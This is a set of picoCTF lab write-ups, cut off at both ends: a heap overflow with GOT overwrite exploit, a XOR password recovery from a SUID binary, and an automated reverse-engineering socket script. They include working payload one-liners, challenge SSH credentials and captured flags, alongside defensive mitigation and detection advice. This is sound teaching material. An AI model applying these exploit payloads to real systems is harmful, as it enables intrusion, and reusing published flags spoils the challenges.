💡 Beginner Tip: "Not stripped" is a gift in CTFs. It means the binary still contains its symbol table — essentially a map of function names and their addresses. Stripped binaries remove this, forcing you to reverse-engineer without labels.

2.2 Security Mitigations — `checksec`

Next, we check what security mitigations the binary was compiled with. These protections exist to make exploitation harder, and knowing which ones are present (or absent) shapes our entire strategy.

checksec --file=vuln

Output:

Partial RELRO | No canary | NX enabled | No PIE | No RPATH | No RUNPATH

Breaking down each mitigation:

Mitigation	Status	Implication
RELRO	Partial	The GOT (Global Offset Table) is writable — this is our attack surface
Stack Canary	Absent	No secret value guarding the stack — stack/heap overflows won't be detected
NX (No-eXecute)	Enabled	The stack and heap are not executable — we cannot inject shellcode
PIE	Disabled	The binary loads at fixed addresses every time — no randomization to defeat

💡 Why does Partial RELRO matter? RELRO (Relocation Read-Only) controls whether the GOT is marked read-only after startup. With Full RELRO, the GOT becomes read-only and we cannot overwrite it. With Partial RELRO, the GOT stays writable — meaning we can redirect any library function call to an address of our choosing.

💡 Why does No PIE matter? PIE (Position Independent Executable) randomizes where the binary loads in memory each run. Without PIE, winner() is always at the same address. This is crucial — our exploit needs to hardcode that address.

⚠️ The Road Not Taken — Shellcode Injection:
A beginner might think: "There's a buffer overflow, let me inject shellcode!" — NX enabled kills that idea entirely. The heap and stack are marked non-executable by the kernel. Even if we overflowed perfectly, the CPU would refuse to execute our shellcode and raise a segfault. We need a code-reuse strategy instead (using existing code already in the binary).

2.3 Reading the Source Code — `cat`

The challenge provided source code (vuln.c). In real-world engagements you rarely have this luxury, but in CTFs it's sometimes provided. Always read it carefully — it's the single most valuable artifact.

cat vuln.c

The critical struct:

struct internet {
    int priority;        // 4 bytes
    char *name;          // 4 bytes (pointer to heap buffer)
    void (*callback)();  // 4 bytes (function pointer!)
};

💡 What is a function pointer? A function pointer is a variable that stores the memory address of a function. When the program executes i1->callback(), it jumps to whatever address is stored in callback. If we can overwrite that address with winner(), we win. This is a common binary exploitation primitive.

The vulnerable code:

i1->name = malloc(8);   // Allocates only 8 bytes
strcpy(i1->name, argv[1]);  // Copies argv[1] with NO length check!

💡 Why is strcpy() dangerous here? strcpy() copies bytes from source to destination until it hits a null terminator (\0). It performs zero bounds checking. If argv[1] is longer than 8 bytes, strcpy() happily writes beyond the allocated buffer, overwriting whatever is adjacent in memory. This is the heap overflow.

The hidden function:

void winner() {
    // Opens flag.txt and prints it
}

The execution check:

if (i1->callback) i1->callback();
if (i2->callback) i2->callback();

This is our trigger — if we can get a non-NULL value into a callback pointer, the program calls it.

2.4 Finding `winner()`'s Address — `objdump`

Since PIE is disabled, winner() has a fixed address. We use objdump to find it.

objdump -d vuln | grep winner

Output:

080492b6 <winner>:

Breaking down the command:

objdump — disassembler and object file analyzer
-d — disassemble executable sections (shows us the actual assembly code)
| grep winner — filter output to only lines mentioning winner

Result: winner() lives at 0x080492b6 — permanently, every single run.

2.5 Finding `puts@GOT` — `objdump -R`

The hint specifically mentioned objdump -R and puts. Let's understand why.

objdump -R vuln | grep puts

Output:

0804c028 R_386_JUMP_SLOT   puts@GLIBC_2.0

Breaking down the command:

-R — display dynamic relocations (entries in the GOT/PLT that point to shared library functions)
R_386_JUMP_SLOT — this is a GOT entry that gets filled at runtime with the real address of puts()

Why puts specifically?
GCC often optimizes printf("some string\n") calls (with no format arguments) into puts("some string") for efficiency. The final line:

printf("No winners this time, try again!\n");

...is compiled as a call to puts(). If we overwrite puts@GOT with winner()'s address, this final printf will call winner() instead!

💡 How the GOT works: When a dynamically linked binary calls puts() for the first time, the dynamic linker resolves the real address and writes it into the GOT entry at 0x0804c028. Every subsequent call reads from this GOT entry. With Partial RELRO, this entry is writable — so we can replace it with any address we want.

2.6 Mapping the Heap Layout — `ltrace`

We need to know the exact memory layout of our heap allocations to calculate the overflow offset precisely.

chmod +x vuln && ltrace -e malloc ./vuln A B

Breaking down the command:

chmod +x vuln — grants execute permission to the binary
ltrace — intercepts and logs library function calls at runtime
-e malloc — filter to only show malloc() calls (reduces noise)

Output:

vuln->malloc(12) = 0x9bf15b0   ← i1 struct
vuln->malloc(8)  = 0x9bf15c0   ← i1->name  (argv[1] written here)
vuln->malloc(12) = 0x9bf15d0   ← i2 struct
vuln->malloc(8)  = 0x9bf15e0   ← i2->name

Visualizing the heap:

Address      Content                     Size
─────────────────────────────────────────────────────
0x9bf15b0    [i1: priority | name* | callback*]  12 bytes
0x9bf15c0    [i1->name buffer: 8 bytes]           ← OVERFLOW STARTS HERE
0x9bf15c8    [heap chunk metadata]                8 bytes (malloc overhead)
0x9bf15d0    [i2: priority(4) | name*(4) | callback*(4)]  12 bytes
             ┌──────────────────────────────┐
             │ +0x00: priority (4 bytes)    │
             │ +0x04: name pointer (4 bytes)│ ← TARGET: 0x9bf15d4
             │ +0x08: callback (4 bytes)    │
             └──────────────────────────────┘

Calculating the offset:

Target address (i2->name pointer): 0x9bf15d4
Start of overflow buffer (i1->name): 0x9bf15c0
─────────────────────────────────────────────
Offset: 0x9bf15d4 - 0x9bf15c0 = 0x14 = 20 bytes

We need 20 bytes of padding in argv[1] before writing our target address.

⚠️ The Road Not Taken — Overwriting i2->callback Directly:
Your first instinct might be: "Why not just overflow all the way to i2->callback and put winner()'s address there?" The problem is that i2->callback sits at offset +0x08 within the i2 struct — but i2->name is at +0x04. If we corrupt i2->name with garbage, then strcpy(i2->name, argv[2]) will try to write argv[2] to a garbage address, causing a segfault before our callback is ever reached. We need to control i2->name carefully, not destroy it.

3. Initial Foothold (Exploitation)

3.1 The Full Exploit Strategy

Now we assemble everything into a coherent attack chain:

argv[1] = [20 bytes padding] + [puts@GOT address: 0x0804c028]
           ↑                    ↑
           Fills i1->name       Overwrites i2->name pointer
           buffer + padding     to point at puts@GOT

argv[2] = [winner() address: 0x080492b6]
           ↑
           Gets written into puts@GOT via strcpy(i2->name, argv[2])

Execution flow after exploit:

strcpy(i1->name, argv[1])  → Overflows, sets i2->name = 0x0804c028
strcpy(i2->name, argv[2])  → Writes 0x080492b6 into puts@GOT
printf("No winners...")    → Compiled as puts() → jumps to winner()!
winner()                   → Opens flag.txt and prints the flag!

💡 Little-endian byte ordering: On x86 (little-endian), multi-byte values are stored with the least significant byte first. So address 0x0804c028 becomes bytes \x28\xc0\x04\x08 in memory. This is why our Python payload reverses the byte order.

3.2 Local Test

./vuln "$(python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\x28\xc0\x04\x08')")" \
       "$(python3 -c "import sys; sys.stdout.buffer.write(b'\xb6\x92\x04\x08')")"

Breaking down the payload construction:

python3 -c "..." — runs a Python one-liner
sys.stdout.buffer.write() — writes raw bytes (critical! Using print() would add a newline and potentially corrupt the payload)
b'A'*20 — 20 bytes of padding to reach the i2->name pointer
b'\x28\xc0\x04\x08' — puts@GOT address in little-endian format
b'\xb6\x92\x04\x08' — winner() address in little-endian format
$(...) — shell command substitution, passes the raw bytes as the argument

Local Output:

Enter two names separated by space:
Error opening flag.txt: No such file or directory

💡 Why the error? Did it fail? No — this is actually proof of success! The error means execution reached winner() and fopen("flag.txt", "r") was called. The file simply doesn't exist on our local machine. The subsequent segfault is irrelevant — we already proved the control flow hijack works. The real flag lives on the remote server.

3.3 Remote Exploitation

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*20 + b"\x28\xc0\x04\x08" + b" " + b"\xb6\x92\x04\x08" + b"\n")' | nc foggy-cliff.picoctf.net 59042

Breaking down the remote payload:

b" " — the space separates argv[1] from argv[2] in the shell
b"\n" — newline signals end of input to the remote program
| nc — pipes our crafted input directly to the remote server
nc foggy-cliff.picoctf.net 59042 — netcat connects to the challenge server on port 59042

Output:

Enter two names separated by space:
FLAG: picoCTF{h34p_0v3rfl0w_ee4e60c2}

🎉 Flag captured: picoCTF{h34p_0v3rfl0w_ee4e60c2}

4. Privilege Escalation

Note: This was a pure binary exploitation challenge without a separate privilege escalation phase. The "escalation" here was the control flow hijack itself — moving from unprivileged user input to executing arbitrary code (winner()) within the process. The flag was the final objective.

However, the concepts demonstrated directly map to real-world privilege escalation scenarios:

GOT overwriting in SUID binaries can escalate privileges from a regular user to root
Heap exploitation is a core technique in modern Linux kernel privilege escalation (e.g., DirtyCOW-class vulnerabilities)

5. Lessons Learned & Mitigation

5.1 Key Takeaways for the Attacker/Learner

Concept	Lesson
Heap Overflow	Adjacent heap objects can be corrupted just like adjacent stack variables — the heap is not inherently safer than the stack
GOT Hijacking	Any writable GOT entry is a potential code execution primitive in Partial RELRO binaries
Weaponizing Existing Code	We didn't need shellcode — we used `winner()` which was already compiled into the binary (a basic form of Return-Oriented Programming philosophy)
`strcpy()` is dangerous	Always use `strncpy()`, `strlcpy()`, or better yet, `snprintf()` with explicit size limits
Binary protections matter	Full RELRO + PIE + canaries together would have made this exploit significantly harder

5.2 Blue Team — How to Detect This

Prevention (Developers):

// VULNERABLE:
strcpy(i1->name, argv[1]);

// SAFE ALTERNATIVES:
strncpy(i1->name, argv[1], 8 - 1);  // Limit to buffer size minus null terminator
// or
snprintf(i1->name, 8, "%s", argv[1]);

Additionally, compile with full protections:

gcc -o vuln vuln.c -fstack-protector-all -Wl,-z,relro,-z,now -fPIE -pie
#                   ↑ stack canaries        ↑ Full RELRO              ↑ PIE enabled

Detection (Blue Team / SOC):

Monitor for unexpected process crashes (SIGSEGV) associated with specific binaries — repeated crashes can indicate fuzzing/exploit attempts
Use heap integrity tools like valgrind --tool=memcheck in testing pipelines to catch out-of-bounds writes before deployment
Implement application-layer logging of argument lengths — abnormally long inputs to a program expecting short names are a red flag
Consider deploying binaries with AddressSanitizer (ASan) in staging environments to automatically detect heap overflows during QA

5.3 The Mental Model to Carry Forward

Buffer overflow on the heap doesn't just crash programs —
it can surgically overwrite pointers, corrupt data structures,
and redirect execution to attacker-controlled code.

The key insight: treat every heap-allocated pointer near
a user-controlled buffer as a potential target.

Writeup authored following a systematic, iterative exploitation methodology. Every command was justified, every output analyzed, every dead end acknowledged.

CTF Lab Writeup: "Bypass Me" — PicoCTF Binary Exploitation Challenge

Vedant Kulkarni — Sun, 31 May 2026 08:45:04 +0000

1. Executive Summary

Field	Details
Challenge Name	Bypass Me
Category	Binary Exploitation / Reverse Engineering
Difficulty	Beginner–Intermediate
Target	`bypassme.bin` on `foggy-cliff.picoctf.net:53044`
Primary Technique	Static reverse engineering + XOR cipher decoding
Key Vulnerability	Runtime password decoded via trivial XOR cipher, fully recoverable through static analysis
Tools Used	`ssh`, `file`, `nm`, `objdump`, Python (mental model)
Flag Location	Printed after successful password authentication

The Core Story

A binary that appears to be a secure, hardened authentication portal is completely defeatable through static analysis alone. The password is never truly hidden — it is simply obfuscated using a single-byte XOR operation. By reading the assembly, we recovered the password without ever running a debugger, without brute force, and without guessing. This challenge teaches one of the most fundamental lessons in security: obfuscation is not encryption.

2. Reconnaissance & Enumeration

2.1 Establishing Access

The challenge provides SSH credentials directly:

ssh ctf-player@foggy-cliff.picoctf.net -p 53044
# Password: 1ad5be0d

Why SSH?

The challenge specifies it explicitly. SSH (Secure Shell) provides an interactive remote shell session, allowing us to explore, execute, and analyze the target binary in its native environment.

Breaking Down the Command

Flag	Meaning
`ctf-player`	The username we're logging in as
`foggy-cliff.picoctf.net`	The remote hostname
`-p 53044`	Connect on port `53044` instead of the default SSH port `22`

💡 Beginner Tip: Always accept the host fingerprint the first time you connect to a CTF server. In a real production environment, you would verify the fingerprint through a trusted, out-of-band method. In a CTF environment, it is generally safe to type yes.

2.2 Initial File System Enumeration

Once inside, the first thing we do is look around:

ls -la

Why ls -la and not just ls?

-l → Long format: shows permissions, owner, size, and modification date
-a → Shows hidden files (those starting with .)

Output Analysis:

-rwsr-xr-x 1 root root 21672 Mar  6 20:10 bypassme.bin

The most critical piece of information here is the permission string: -rwsr-xr-x.

That s where you'd normally expect an x for the owner execute bit is the SUID (Set User ID) bit. This deserves its own explanation:

🔑 What is SUID?
Normally, when you run a program, it runs with your permissions. When the SUID bit is set and the file is owned by root, the program runs with root's permissions, regardless of who launches it. This is how sudo and passwd work. In a CTF context, this tells us the binary can read files we cannot — like a flag file owned by root.

What we did NOT do:

We did not immediately try to exploit the SUID bit for privilege escalation (e.g., via PATH injection or LD_PRELOAD). Why? Because the challenge description told us the goal is to bypass authentication, not necessarily escalate privileges. The SUID bit is simply the mechanism by which the binary reads the flag file on our behalf.

2.3 Binary Profiling

file bypassme.bin

Why file? The file command reads the magic bytes at the beginning of a file and identifies its true type regardless of extension. This is essential before analysis.

Output:

bypassme.bin: setuid ELF 64-bit LSB shared object, x86-64, dynamically linked, with debug_info, not stripped

Parsing Every Field

Field	Meaning & Significance
`setuid ELF`	Confirms that the SUID bit is set. When executed, the binary runs with the privileges of its owner (in this case, `root`).
`64-bit`	Indicates that the program uses a 64-bit architecture and register set (`rax`, `rdi`, `rsi`, etc.).
`LSB`	Stands for Little-Endian Byte Order, the standard byte ordering used on most modern x86 systems.
`x86-64`	The binary targets the 64-bit Intel/AMD architecture. Most common reverse-engineering and debugging tools support this architecture natively.
`dynamically linked`	The binary relies on shared libraries (such as `libc`) at runtime. Functions like `strcmp()` and `printf()` are typically resolved from external libraries.
`with debug_info`	A valuable finding. Debug symbols are present, making reverse engineering and source-level debugging significantly easier.
`not stripped`	Another valuable finding. Function names and other symbol information have been retained in the binary, improving readability during analysis.

💡 Key Insight: A "stripped" binary has had its symbol table removed, making reverse engineering significantly harder. A "not stripped" binary with "debug_info" is essentially giving us a roadmap. In a real-world malware scenario or hardened application, symbols would be stripped. This binary was compiled without stripping, which is a developer oversight.

2.4 Runtime Behavior Observation

Before touching any analysis tool, we always run the target to understand its user-facing behavior:

./bypassme.bin

Why run it first? This gives us the "black box" view — what a normal user would see. We observed:

An ASCII art banner ("SECURE PORTAL")
A loading/initialization animation
A password prompt with a 3-attempt counter: [3 tries left] Enter password:

What this tells us:

There is a finite attempt limit — brute force via the normal interface is impractical
The password prompt means there's a comparison somewhere in the code
The 3-attempt limit is enforced in software — meaning we can bypass it entirely by analyzing the binary rather than interacting with it

What we did NOT do:

We did not try common passwords (admin, password, 1234). That would be guessing, not hacking.
We did not use strings bypassme.bin as our primary approach. While strings can sometimes reveal hardcoded passwords, a developer using even basic obfuscation (like XOR) would defeat it. We wanted a methodology that works even when strings fails.

3. Initial Foothold — Static Reverse Engineering

3.1 Symbol Table Analysis

nm bypassme.bin

What is nm? The nm command lists symbols from an object file or binary. Symbols are named entries in the symbol table — they include function names, global variables, and external library references.

Why nm before objdump? nm gives us the complete map of the binary's functions in seconds. It's the fastest way to understand the binary's structure before committing to deeper disassembly. Think of it as reading the table of contents before reading a book.

Key findings from nm output:

_Z15decode_passwordPc    → decode_password(char*)
_Z13auth_sequencev       → auth_sequence()
_Z8sanitizePKcPc         → sanitize(char const*, char*)
_Z8type_outPKcj          → type_out(char const*, unsigned int)

💡 Name Mangling: The _Z15decode_passwordPc format is C++ name mangling. The compiler encodes type information into function names. _Z indicates a mangled name, 15 is the length of the function name, decode_password is the name, and Pc means "pointer to char". You can demangle these with c++filt _Z15decode_passwordPc.

The most important symbol:

_Z15decode_passwordPc  → decode_password(char*)

This immediately tells us: the password is not stored in plaintext. It is decoded at runtime by a function. This is our primary target.

External library calls that matter:

U strcmp@@GLIBC_2.2.5

The U means "undefined" — it's imported from an external library. The presence of strcmp tells us the decoded password is compared to user input using a standard string comparison. This is our breakpoint target in a dynamic analysis scenario.

3.2 Disassembling `decode_password`

objdump -d --no-show-raw-insn bypassme.bin | grep -A 40 '<_Z15decode_passwordPc>'

Breaking Down the Command

Component	Meaning
`objdump`	Disassembler for binary files
`-d`	Disassemble executable sections
`--no-show-raw-insn`	Hides raw hex bytes — cleaner output for reading
`grep -A 40`	Show 40 lines after the matching line
`'<_Z15decode_passwordPc>'`	Match the specific function label

Why objdump and not ghidra or IDA Pro? Those tools are excellent but require a GUI or installation. objdump is available on virtually every Linux system by default, making it the universal first choice for quick static analysis in a remote shell environment.

3.3 Decoding the Password — The Core Vulnerability

From the disassembly of decode_password, we extracted this critical logic:

movabs $0xc9cff9d8cfdadff9,%rax    ; Load 8 encoded bytes into rax
mov    %rax,-0x13(%rbp)             ; Store on stack
movw   $0xd8df,-0xb(%rbp)          ; Load 2 more encoded bytes
movb   $0xcf,-0x9(%rbp)            ; Load 1 more encoded byte

This gives us 11 encoded bytes stored on the stack:

f9 df da cf d8 f9 cf c9 df d8 cf

⚠️ Important — Endianness: The value 0xc9cff9d8cfdadff9 is stored in little-endian format. This means the bytes are stored in reverse order in memory. So in memory, the sequence starts with f9, then df, then da, etc.

Then the decoding loop:

movzbl -0x13(%rbp,%rax,1),%eax   ; Load encoded byte[i]
xor    $0xffffffaa,%eax            ; XOR with 0xAA
mov    %dl,(%rax)                  ; Store decoded byte to output buffer

The algorithm in plain English:

For each byte in the encoded array, XOR it with 0xAA. The result is the decoded password character.

Performing the XOR manually:

Index	Encoded (hex)	XOR 0xAA	Decoded (ASCII)
0	`0xF9`	`0xF9 ^ 0xAA`	`0x53` = S
1	`0xDF`	`0xDF ^ 0xAA`	`0x75` = u
2	`0xDA`	`0xDA ^ 0xAA`	`0x70` = p
3	`0xCF`	`0xCF ^ 0xAA`	`0x65` = e
4	`0xD8`	`0xD8 ^ 0xAA`	`0x72` = r
5	`0xF9`	`0xF9 ^ 0xAA`	`0x53` = S
6	`0xCF`	`0xCF ^ 0xAA`	`0x65` = e
7	`0xC9`	`0xC9 ^ 0xAA`	`0x63` = c
8	`0xDF`	`0xDF ^ 0xAA`	`0x75` = u
9	`0xD8`	`0xD8 ^ 0xAA`	`0x72` = r
10	`0xCF`	`0xCF ^ 0xAA`	`0x65` = e

Decoded password: SuperSecure

💡 Why XOR? XOR is the most common obfuscation technique in malware and CTF challenges because it is:

Reversible: XOR is its own inverse. A XOR key = B and B XOR key = A

Simple to implement: One assembly instruction

Easily broken: If you know the key (or can find it in the binary), it provides zero cryptographic security

3.4 Confirming the Authentication Flow in `main`

objdump -d --no-show-raw-insn bypassme.bin | grep -A 120 '<main>'

This confirmed the exact execution path:

main:
  1. decode_password() → decoded password stored at rbp-0x110
  2. intro_sequence()  → shows the banner/animation
  3. fgets()           → reads user input into rbp-0x210
  4. sanitize()        → cleans user input
  5. strcmp(user_input, decoded_password) at 0x1759
  6. If equal → auth_sequence() → fopen("flag") → print flag
  7. If not equal → "Wrong password" → loop back (max 3 tries)

The road not taken — Dynamic Debugging with LLDB:

The challenge hint specifically mentioned LLDB (a debugger). Here's how we would have used it if static analysis had failed:

# We would have set a breakpoint at the strcmp call address
lldb bypassme.bin
(lldb) b *0x1759          # Break at strcmp
(lldb) run
(lldb) x/s $rsi           # Read the decoded password from the rsi register

In x86-64 Linux calling convention:

rdi = first argument to strcmp (user input)
rsi = second argument to strcmp (decoded password)

We chose not to use LLDB because static analysis gave us a complete answer with less complexity. Dynamic debugging introduces additional challenges (ASLR, needing to interact with the program, etc.). Always exhaust static analysis before resorting to dynamic analysis.

3.5 Obtaining the Flag

With the password SuperSecure recovered, we ran the binary and entered it:

./bypassme.bin
# At the prompt: SuperSecure

The binary authenticated successfully, opened the flag file via fopen, and printed the flag.

4. "Privilege Escalation" — The SUID Mechanism

In this challenge, there was no traditional privilege escalation step because the SUID binary is the privilege escalation mechanism. Here's how it works:

┌─────────────────────────────────────────────────────┐
│  ctf-player (low privilege user)                    │
│  → runs bypassme.bin                               │
│  → OS sees SUID bit + owner = root                 │
│  → process runs as root                            │
│  → fopen("/path/to/flag") succeeds                 │
│  → flag contents printed to our terminal           │
└─────────────────────────────────────────────────────┘

The flag file is readable only by root. Without the SUID binary, we could never access it. The binary acts as a controlled gateway — but since we bypassed the authentication check, we walked right through it.

5. Lessons Learned & Mitigation

5.1 Key Takeaways for Attackers (CTF Players)

Lesson	Detail
Read symbols first	`nm` and `objdump` reveal the entire structure of a binary in seconds
Not stripped = gift	Debug symbols make reverse engineering dramatically faster
XOR is not encryption	Single-byte XOR obfuscation is defeated trivially once the key is in the binary
Static before dynamic	Exhaust static analysis before firing up a debugger
SUID = read the flag	SUID root binaries are the key that unlocks root-owned files
Follow the strcmp	In authentication binaries, find the comparison function and read its arguments

5.2 Mitigation Strategies for Defenders (Blue Team)

Vulnerability 1: Trivial XOR Obfuscation

❌ What the developer did: Stored a password encoded with a single-byte XOR key (0xAA) — both the encoded bytes and the key are in the binary.

✅ What should be done instead:

Never store passwords in a binary at all, even obfuscated
Use challenge-response authentication where the password never leaves the server
If a local comparison is unavoidable, use a proper cryptographic hash (bcrypt, Argon2) — an attacker who recovers a hash cannot reverse it
Use remote authentication — have the binary send the input to a server for verification; the "correct answer" never exists locally

Vulnerability 2: Binary Not Stripped / Debug Info Present

❌ What the developer did: Compiled and deployed the binary with full debug symbols and without stripping.

✅ What should be done instead:

Always strip production binaries: strip --strip-all bypassme.bin
Remove debug info at compile time (avoid -g flag in gcc/g++)
Use obfuscation tools like LLVM-Obfuscator for additional protection (note: this raises the bar, it doesn't solve the fundamental problem)

Detection (Blue Team Monitoring):

Alert: Process bypassme.bin executed by user ctf-player
  → Running with effective UID 0 (root)
  → Opened file: /root/flag.txt
  → This access pattern is anomalous for this user

A proper SIEM or EDR (like Wazuh, Falco, or CrowdStrike) would flag a low-privilege user triggering a SUID binary that subsequently reads sensitive root-owned files.

Appendix: Full Attack Chain Summary

1. SSH into target
        ↓
2. ls -la → Discover SUID binary bypassme.bin
        ↓
3. file bypassme.bin → 64-bit ELF, not stripped, debug_info present
        ↓
4. nm bypassme.bin → Discover decode_password(), strcmp usage
        ↓
5. objdump disassembly of decode_password()
        ↓
6. Extract encoded bytes: f9 df da cf d8 f9 cf c9 df d8 cf
        ↓
7. XOR each byte with 0xAA → "SuperSecure"
        ↓
8. Run binary → Enter "SuperSecure" → FLAG OBTAINED

Total tools used: ssh, ls, file, nm, objdump
No exploits. No brute force. No debugger needed.
Pure static analysis.

🎓 Final Thought for Beginners: This challenge perfectly illustrates why security-through-obscurity fails. The developer thought they were hiding the password by encoding it. But encoding is not encrypting. The moment we could read the binary's assembly, the "hidden" password was completely visible. Real security means an attacker can have full access to your code and still cannot compromise your system. That's the standard to aim for.

CTF Writeup: Autorev 1 — picoCTF

Vedant Kulkarni — Sat, 30 May 2026 08:24:23 +0000

1. Executive Summary

Field	Detail
Challenge Name	Autorev 1
Platform	picoCTF
Category	Reverse Engineering
Difficulty	Beginner-Intermediate
Key Technique	Automated Binary Analysis via Opcode Pattern Matching
Flag	`picoCTF{4u7o_r3v_g0_brrr_78c345aa}`

Overview: This challenge tests a fundamental reverse engineering skill — the ability to automate analysis at scale. The remote service sends 20 unique ELF binaries, one at a time, as raw hex-encoded byte streams. For each binary, you have exactly 1 second to extract a hardcoded "secret" integer and send it back. The challenge is impossible to solve manually and teaches the critical lesson that a good reverse engineer isn't just someone who can read assembly — it's someone who can script their way through it.

2. Reconnaissance & Enumeration

2.1 — Initial Connection: Understanding the Protocol

Before writing any exploit, the very first step is always to understand what you're interacting with. The challenge description gives us a simple netcat command to connect to the service.

nc mysterious-sea.picoctf.net 57369

Why netcat? nc (netcat) is the most basic tool for raw TCP communication. It's the right first choice here because the challenge description explicitly tells us to use it, and we have no reason to believe any higher-level protocol (like HTTP) is involved. We just need to see the raw data the server sends.

2.2 — Analyzing the Server's Handshake

Upon connecting, the server reveals its rules:

Welcome! I think I'm pretty good at reverse enginnering.
There's NO WAY anyone's better than me.
Wanna try? I have 20 binaries I'm going to send you and you
have 1 second EACH to get the secret in each one. Good luck >:)

This immediately tells us three critical things:

Observation	Implication
20 binaries	We need a loop, not a one-shot script.
1 second EACH	Manual analysis (e.g., opening in Ghidra) is impossible. We must automate.
"get the secret"	Each binary has a single hardcoded value we need to find.

Following the banner, the server dumps a massive hex string — this is the raw bytes of an ELF (Executable and Linkable Format) binary, the standard executable format for Linux. It then prompts:

What's the secret?:

2.3 — Static Analysis: Finding the Secret in the Hex

This is the most critical analytical step. Instead of trying to run the binary (which would be slow and complex to automate), we need to find the secret directly in the raw bytes. To do this, we need to understand the binary's logic.

The Concept: What Does the Binary Do?

Every one of these binaries is compiled from a simple C template that looks conceptually like this:

#include <stdio.h>

int main() {
    // The "secret" is a hardcoded 32-bit integer
    unsigned int secret = 0xb174cbbb; // <-- This value changes each time
    unsigned int guess = 0;

    printf("What's the secret?\n");
    scanf("%u", &guess);

    if (guess == secret) {
        printf("Correct!\n");
    } else {
        printf("Nice try :(\n");
    }
    return 0;
}

The Concept: How Does C Become Assembly?

When the C compiler (gcc) compiles unsigned int secret = 0xb174cbbb;, it translates it into an x86_64 assembly instruction that stores that value onto the function's stack frame. The specific instruction is:

mov DWORD PTR [rbp-0x4], 0xb174cbbb

Let's break this instruction down piece by piece, as this is the heart of the entire challenge:

Assembly Component	Meaning
`mov`	"Move" — copy a value into a destination.
`DWORD PTR`	The destination is a 4-byte (32-bit) memory location.
`[rbp-0x4]`	The destination address: 4 bytes below the base pointer (`rbp`), which is where local variable `secret` lives on the stack.
`0xb174cbbb`	The immediate (hardcoded) value — our secret!

The Concept: How Does Assembly Become Bytes (Opcodes)?

The CPU doesn't read text like mov DWORD PTR [rbp-0x4], .... It reads machine code — raw bytes called opcodes. The x86_64 encoding for mov DWORD PTR [rbp-0x4], <imm32> is:

c7 45 fc [4 bytes of the value in Little-Endian]

Let's decode this:

Byte(s)	Meaning
`c7`	Opcode for `MOV r/m32, imm32` (move a 32-bit immediate value into a memory location).
`45`	ModR/M byte: indicates the addressing mode is `[rbp + disp8]`.
`fc`	The signed 8-bit displacement: `0xfc` is `-4` in two's complement, giving us `[rbp-0x4]`.
Next 4 bytes	The 32-bit immediate value, stored in Little-Endian byte order.

What is Little-Endian? x86 processors store multi-byte integers with the least significant byte first. So the value 0xb174cbbb is stored in memory as bb cb 74 b1. This is a common "gotcha" in reverse engineering — if you read the bytes left-to-right, you get the wrong number. You must reverse the byte order.

Verification in the First Binary

Let's find this pattern in the first binary's hex stream. Searching for c745fc:

...c745fcbbcb74b1...
         ^^^^^^^^
         bb cb 74 b1  (Little-Endian bytes)

Converting bb cb 74 b1 from Little-Endian:

Reverse the bytes: b1 74 cb bb
Hex value: 0xb174cbbb
Decimal: 2977221563

The server helpfully displayed 2977221563 as the expected answer for the first binary — our analysis is confirmed!

2.4 — The Road Not Taken: Why Not Use a Disassembler?

You might be thinking: "Why not save the binary to a file, run objdump -d or load it into Ghidra?"

This is a perfectly valid instinct for a single binary. However, here's why it fails for this challenge:

Approach	Problem
Ghidra/IDA	These are GUI tools. Opening, analyzing, and reading the output of 20 binaries in 20 seconds is humanly impossible.
`objdump -d`	This could be automated, but it adds unnecessary complexity. You'd need to: (1) decode the hex to a file, (2) run `objdump`, (3) parse the text output with regex. This is slower and more fragile than just searching the raw bytes.
Running the binary	You'd need to decode, save, `chmod +x`, and then somehow brute-force or debug it. Far too slow for a 1-second window.

The optimal path — and the lesson of this challenge — is that pattern matching on raw bytes is the fastest, most elegant solution. We don't need a full disassembler; we just need a 3-byte search key (c745fc).

3. Initial Foothold (Exploitation)

3.1 — The Automation Strategy

With our analysis complete, the exploitation plan is straightforward:

┌──────────────────────────────────────────────┐
│              AUTOMATION LOOP (x20)           │
│                                              │
│  1. READ data from socket until prompt       │
│     "What's the secret?:"                    │
│                                              │
│  2. SEARCH the received data for the regex   │
│     pattern: c745fc([0-9a-f]{8})             │
│                                              │
│  3. EXTRACT the 8 hex chars (4 bytes)        │
│                                              │
│  4. CONVERT from Little-Endian hex to        │
│     unsigned 32-bit decimal integer          │
│                                              │
│  5. SEND the decimal integer + newline       │
│     back to the server                       │
│                                              │
└──────────────────────────────────────────────┘
              │
              ▼
   After 20 rounds, READ the flag

3.2 — The Exploit Script (Fully Annotated)

import socket   # For raw TCP connections (like netcat, but programmable)
import re       # For Regular Expressions (pattern matching in text)
import struct   # For converting between Python values and C structs (byte packing)

def solve():
    """
    Connects to the Autorev 1 challenge server, automatically extracts
    the hardcoded secret from 20 binaries, and retrieves the flag.
    """

    # --- STEP 1: Establish Connection ---
    # socket.create_connection() is like running `nc host port`.
    # It returns a socket object we can read from and write to.
    host = 'mysterious-sea.picoctf.net'
    port = 57369
    s = socket.create_connection((host, port))
    print(f"[*] Connected to {host}:{port}")

    # --- Helper Function: Read Until a Specific Suffix ---
    # The server sends data in chunks. We need to keep reading
    # until we see the specific prompt "What's the secret?:".
    # This ensures we've captured the ENTIRE binary hex stream
    # before we try to parse it.
    def recv_until(sock, suffix):
        """Reads from the socket byte-by-byte until `suffix` is found."""
        result = b''  # Use bytes, not string, for raw socket data
        while not result.endswith(suffix):
            chunk = sock.recv(1)  # Read one byte at a time (simple & reliable)
            if not chunk:
                # If recv returns empty bytes, the connection was closed.
                raise ConnectionError("Server closed the connection prematurely.")
            result += chunk
        return result.decode()  # Convert bytes to a Python string for regex

    try:
        for i in range(20):
            # --- STEP 2: Receive Data Until the Prompt ---
            # We read everything the server sends until we see the question.
            # This blob of text contains the hex-encoded ELF binary.
            data = recv_until(s, b"What's the secret?:")

            # --- STEP 3: Extract the Secret Using Regex ---
            # Pattern breakdown:
            #   c745fc     - The 3 opcode bytes for `mov DWORD PTR [rbp-0x4], ...`
            #   (          - Start of a "capture group" (the part we want to extract)
            #   [0-9a-f]   - Any single hexadecimal digit (lowercase)
            #   {8}        - Exactly 8 of them (representing 4 bytes = 32 bits)
            #   )          - End of capture group
            match = re.search(r'c745fc([0-9a-f]{8})', data)

            if match:
                hex_val = match.group(1)  # e.g., "bbcb74b1"

                # --- STEP 4: Convert Little-Endian Hex to Decimal ---
                # bytes.fromhex("bbcb74b1") -> b'\xbb\xcb\x74\xb1'
                # struct.unpack('<I', ...) unpacks as:
                #   '<' = Little-Endian byte order
                #   'I' = Unsigned 32-bit Integer
                # Result is a tuple, so we take the first element with [0].
